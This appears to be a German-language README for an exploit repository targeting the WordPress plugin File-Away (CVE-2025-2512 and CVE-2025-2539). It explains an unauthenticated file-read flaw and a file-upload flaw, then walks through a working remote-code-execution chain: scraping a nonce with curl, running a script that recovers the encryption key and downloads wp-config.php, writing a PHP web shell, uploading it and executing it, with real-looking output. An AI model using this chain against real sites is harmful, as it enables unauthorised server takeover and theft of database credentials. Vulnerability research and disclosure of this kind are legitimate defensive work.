
Exploit-Skripte zur Remote-Code-Ausführung für das WordPress-Plugin File-Away (CVE-2025-2512 & CVE-2025-2539)
Dieses Repository enthält Schwachstellendetails und Skripte, die in File-Away gefunden wurden, einem WordPress-Plugin zur Dateiverwaltung.
Dieses Plugin enthält zwei Schwachstellen, die zu Remote-Codeausführung führen können (Getestet mit File-Away 3.9.9.0.1):
Das File-Away-Plugin für WordPress ist in allen Versionen bis einschließlich 3.9.9.0.1 anfällig für nicht authentisiertes beliebiges Lesen von Dateien.
Diese Schwachstelle existiert aufgrund zweier Probleme: dem Fehlen einer Authentifizierungsprüfung in der Funktion lib/cls/class.fileaway_stats.php:file_away_stats->ajax() und der Verwendung eines schwachen Verschlüsselungsalgorithmus in der Funktion lib/cls/class.fileaway_encrypted.php:fileaway_encrypted->encrypt().
Dies ermöglicht es nicht authentisierten Angreifern, beliebige Dateien zu lesen, einschließlich der WordPress-Konfigurationsdatei (wp-config.php).
Das File-Away-Plugin für WordPress ist in allen Versionen bis einschließlich 3.9.9.0.1 anfällig für nicht authentisiertes beliebiges Hochladen von Dateien.
Diese Schwachstelle existiert aufgrund zweier Probleme: dem Fehlen einer Authentifizierungsprüfung und der mangelhaften Dateitypprüfung, beide in der Funktion lib/cls/class.fileaway_management.php:fileaway_management->upload().
Dies ermöglicht es nicht authentisierten Angreifern, beliebige Dateien hochzuladen, was zu Codeausführung führen kann.
Wenn das File-Away-Plugin auf der Ziel-WordPress-Instanz installiert und aktiviert ist, sollte das fileaway_stats-Nonce auf der Indexseite vorhanden sein:
curl -sk http://127.0.0.1:8000/ | grep -E '^var fileaway_stats.*nonce\":\"([a-f0-9]+)\"};$'
var fileaway_stats = {"ajaxurl":"http:\/\/127.0.0.1:8000\/wp-admin\/admin-ajax.php","nonce":"ff57064c96"};
python-Anforderungen installieren:
python3 -m venv venv && venv/bin/pip install httpx
Die Schwachstelle zum beliebigen Lesen von Dateien verwenden, um die Konfigurationsdatei der WordPress-Instanz (wp-config.php) zu erhalten:
venv/bin/python3 get_config.py -t http://127.0.0.1:8000
[+] File-Away nonce: ff57064c96
[-] Encrypted web root: LcZh3iec7c3vfHRt2C8=
[-] Decoder: .i%B7%1Dy%F8%21%8A9%25%9Az%29%AA%BB-%BA%FC1%CB%3D5%DB~9%EB%BF%3D
[-] Charset: abcdefghijklmnopqrstuvwxyz0123456789
[+] Encryption Key: f2379aghijklmnopqrstuvwxyz65bc410d8e
[+] Decrypted web root: /var/www/html
[+] Config file downloaded: 127.0.0.1:8000_wp-config.php
Eine PHP-Datei zum Hochladen erstellen:
echo '<?php system("id"); ?>' > /tmp/exec.php
Die verwenden, um die -Datei auf den Server hochzuladen:
PHPvenv/bin/python3 file_upload.py -t http://127.0.0.1:8000 -c 127.0.0.1:8000_wp-config.php -w /var/www/html/ -f /tmp/exec.php
[-] nonce: 4810861b18
[-] upload_nonce: 0c3f44ae83
[-] loc_nonce: a17a2df989
[+] File uploaded: http://127.0.0.1:8000/wp-content/exec.php
⚠️ Die Datei wird standardmäßig im Verzeichnis wp-content hochgeladen ⚠️
Auf die hochgeladene PHP-Datei zugreifen:
curl -sk http://127.0.0.1:8000/wp-content/exec.php
uid=33(www-data) gid=33(www-data) groups=33(www-data)